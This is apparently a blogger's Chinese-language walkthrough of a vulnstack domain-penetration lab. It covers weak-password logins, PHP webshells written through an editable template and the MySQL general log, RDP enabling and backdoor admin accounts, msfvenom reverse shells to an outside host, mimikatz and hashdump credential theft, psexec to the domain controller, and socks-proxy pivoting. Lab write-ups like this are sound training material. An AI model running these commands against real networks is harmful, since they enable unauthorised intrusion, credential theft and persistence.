开启内网学习,域渗透之路...
官方下载地址以及实验文档如下:
http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
内网拓扑:
我选用wmware ESXI进行内网环境搭建,内网搭建如下:
WIN7(web服务器):172.26.16.123/192.168.52.143
WIN2008(域控):192.168.52.138
WIN2003(域成员):192.168.52.141
信息收集
Namp进行端口扫描: nmap -T4 -A 172.26.16.123
得知目标80端口开启,3306端口开放表示网站数据库是mysql,访问其站点
页面403,因此尝试扫描一级目录,发现备份文件beifen.rar、以及phpinfo.php和phpmyadmin
下载beifen.rar解压进行简单的源代码审阅,知道使用yxcms进行网站搭建,通过查看“升级日志.txt”,得知版本号1.2.1
推测该网站二级目录下可能存在yxcms的网站
弱口令登录
访问主站发现公告栏目泄露后台路径:/index.php?r=admin,且初始账号密码是弱口令,admin、123456
成功登陆到后台
XSS存储型漏洞
通过查找功能点,发现网站主页有一个留言本功能,任意用户提交数据后需要管理员登录后台审核,由于没有对XSS进行防范,导致XSS攻击。因此,当我们没有那么幸运的得到管理员账号密码的时候,就可以用此XSS尝试获取管理员cookie,从而进入后台。
我们的目的是拿下整个内网,因此xss是远远不够的。通过我们拿到刚刚拿到yxcms版本号为1.2.1的信息,翻阅相关资料知道该版本还存在一处可getshell的高危漏洞。
前台模板代码任意修改拿shell
找到前台模板位置,可以看到这些php文件都是可以编辑的,且可以新建一个php文件
新建一句个文件shell.php,写入一句话木马
创建成功后我们通过刚刚拿到的网站源码,进行文件目录查找,最后找到木马生成后的位置如下:
访问一句话木马http://172.26.16.123/yxcms/protected/apps/default/view/default/shell.php,没有问题。
phpmyadmin弱口令拿shell
既然是靶机,我们就主要以学习为目的,多方面练习拿shell姿势。访问phpmyadmin页面,尝试弱口令root、root登录成功。
尝试使用outfile来进行一句话木马写入,失败
尝试利用日志文件getshell,mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。
查看日志状态:show variables like '%general%';
开启日志文件:SET GLOBAL general_log='on'
创建日志文件,并定义它的路径
SET GLOBAL general_log_file='C:/phpStudy/www/shell.php'
写入一句话shell到日志文件
SELECT ''
访问一句话木马,并菜刀连接
开启/连接3389
之前通过nmap 扫描发现,目标机子是系统未开启3389端口的,为了方便进一步内网渗透和转发,我们可以开启3389端口,并添加一个管理员权限账户。不过有一点要注意,如果原本的管理员用户在线,我们通过新建的管理员用户登陆的时候,是会挤掉原本的用户的,为了不惊动管理员,因此我们需要用webshell提前上传rdpwarp,它可以允许非服务器版本进行多个用户登录。
开启:RDPWInst.exe -i -s
关闭:RDPWInst.exe -u -k
利用CMD开启/连接3389
win7开启3389:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# 添加账户密码
net user admin Pass!@123 /add
# 给test账户添加为管理员权限
net localgroup administrators admin /add
#查询是否成功添加admin用户
net user admin
添加防火墙规则:
netsh advfirewall firewall add rule name="Open 3389" dir=in action=allow protocol=TCP localport=3389
最后用win10自带的远程桌面连接工具连接:
利用MSF开启/连接3389
如果上面的方法还是无法建立连接,那么我们可以先反弹一个shell到MSF。利用MSF开启rdp,从而开启3389远程连接服务。
生成控制端木马:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=4444 -f exe > shell.exe
MSF开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set Lhost xx.xx.xx.xx
set lport 4444
Run
利用webshell上传到指定目录,然后运行它。建立会话后,利用MSF开启rdp:
run post/windows/manage/enable_rdp
接着利用远程桌面软件连接就可以了。
利用SakuraFrp反向连接3389
理论来说,是WIN7防火墙不允许别人对它自己内部建立连接,但是自己可以主动对别人建立连接。利用反向代理的思路,可以映射WIN7的3389端口到一个公网IP上,然后再去连接这个公网ip就可以绕过防火策略了。这里我常用的工具是:SakuraFrp
地址:https://openid.oxygen.moe/login
利用webshell上传frpc到文件目录,然后为frpc配置防火墙规则:
netsh advfirewall firewall add rule name="frpc" dir=in action=allow program="C:\pentest\frpc.exe" enable=yes
然后在webshell运行frpc,连接对应的ip:端口即可
简单内网信息收集
拿到webshell我们简单做一下信息收集,比如机子所在的内网是环境否存在域,机子是否出网等问题。因此我们先做内网的信息收集,收集我们需要的信息。
查看当前用户权限:whoami ,是管理员权限
查看是否存在域:ipconfig /all ,主DNS后缀不为空,存在域:god.org
net config workstation 可以直接查看域情况,本机名是stu1
查看域控:net group "domain controllers" /domain ,域控为OWA
查看域管:net group "domain admins" /domain ,域管为OWA
现在知道内网是存在域的,接下目的是拿下域控和域管。也就是拿下OWA的机子。为了更高效我们选择使用CS或者MSF横向渗透。
利用CS横向渗透
生出监听:
生成exe后门:
利用webshell上传exe后门到目标服务器上,并运行它到上线:
进入beacon,执行:shell net view ,定位到域里另外两个在线的机子以及对应的ip
提权到系统权限:getsystem
获取凭据,使用 dump hash模块导出散列值(至少具有administrators权限):hashdump
使用logonpasswords模块,调用内置在CS中的mimikatz将内存中的lsass.exe进程保存的用户明文密码和散列导出:
打开凭证信息模块,更为直观
拿到Administrator.GOF.ORG凭证,也就是域管用户的凭证后,可以通过psexec登陆到OWA所在的域控。
这里在已有的beacon上创建监听,用来作为跳板进行内网渗透
选择Administrator.GOD.ORG凭证,这里用SMB监听器,会话选择SMB对应的机子即可。SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效。
点击开始后,等待片刻,返回OWA beacon
能够使用psexec能迅速地获得域控主机的 beacon 是因为在本机中读取到了域管理员账号密码的hash。
进入OWA beacon后,已经是系统权限。可以重复之前的操作,拿下保存在本地的凭证。
hashdump获取哈希值,logopasswords获取明文值
利用同样的原理和操作,我们可以拿下另外一台域成员的权限。
到这里我们拿下域控权限以及凭证后,可以进行一波入侵痕迹清理,以及权限维持的操作。这里就暂时先这样吧。
利用MSF横向渗透
先生成控制端木马,然后利用webshell上传到目标服务器:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=39.108.118.128 LPORT=6666 -f raw >shell.php
MSF开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 39.108.118.128
set LPORT 6666
run
webshell运行上传的shell.exe,返回seesion
获得系统权限:getsystem
获得系统信息:sysinfo
为了meterpreter session 稳定和隐蔽,连上session的时候将进程迁移到 explore.exe中。如果一开始选择的payload是32位的,也可以通过进程迁移的方法变成64位的。
查看进程:ps
这里找到explore.exe进程是2748
进程迁移: migrate 2724
加载mimikatz 模块:load mimikatz(load kiwi)
列举系统中的明文密码(系统权限):creds_all ,可拿到域管理员凭证
进入shell,net view查看域内的其他机子:
定位域控:net group "domain controllers" /domain
定位域管:net group "domain admins" /domain
Ping域名获真实ip:
ROOT-TVI862UBEH.god.org对应192.168.52.141
OWA.god.org对应:192.168.52.138
那我们现在打下OWA:192.168.52.138的机子就行了。
代理转发:
查看本机网卡:run get_local_subnets
我们需要的192那个网段的,因此定义路由规则,配置路由:run autoroute -s 192.168.52.0/24
查看路由是否配置成功:route print
使用metasploit的auxiliary/server/socks_proxy代理模块,选择socks5:
use auxiliary/server/socks_proxy
set version 5
run
检测以下自己是否成功开启服务:
配置proxychains: vim /etc/proxychains.conf
先去掉#dynamic_chain的#
然后在最后添加socks5 127.0.0.1 1080
代理设置好后,我们就可以使用proxychains+nmap进行内网ip扫描了,这里扫描的域控的ip端口开放情况:proxychains nmap -T4 -F -Pn -sT -v 192.168.52.138
这里因为某些原因就不继续了。思路是nmap扫描后发现如果开启了 137 端口 ,也就是wmi 的话,由于之前我们通过mimikatz获取到了域管的登陆凭证了,因此可以直接利用 auxiliary/scanner/smb/impacket/wmiexec 来代码执行,就可以来开启3389登陆域控主机等等。如果开启了 139,445 端口,可以先尝试用 exploit/windows/smb/psexec 来登录,弹一个正向shell 。然后代码执行开启3389登陆域控主机等等。
还是很菜,天赋不足汗水来凑。期待下一次在真实环境中,能学之为我所用,加油吧。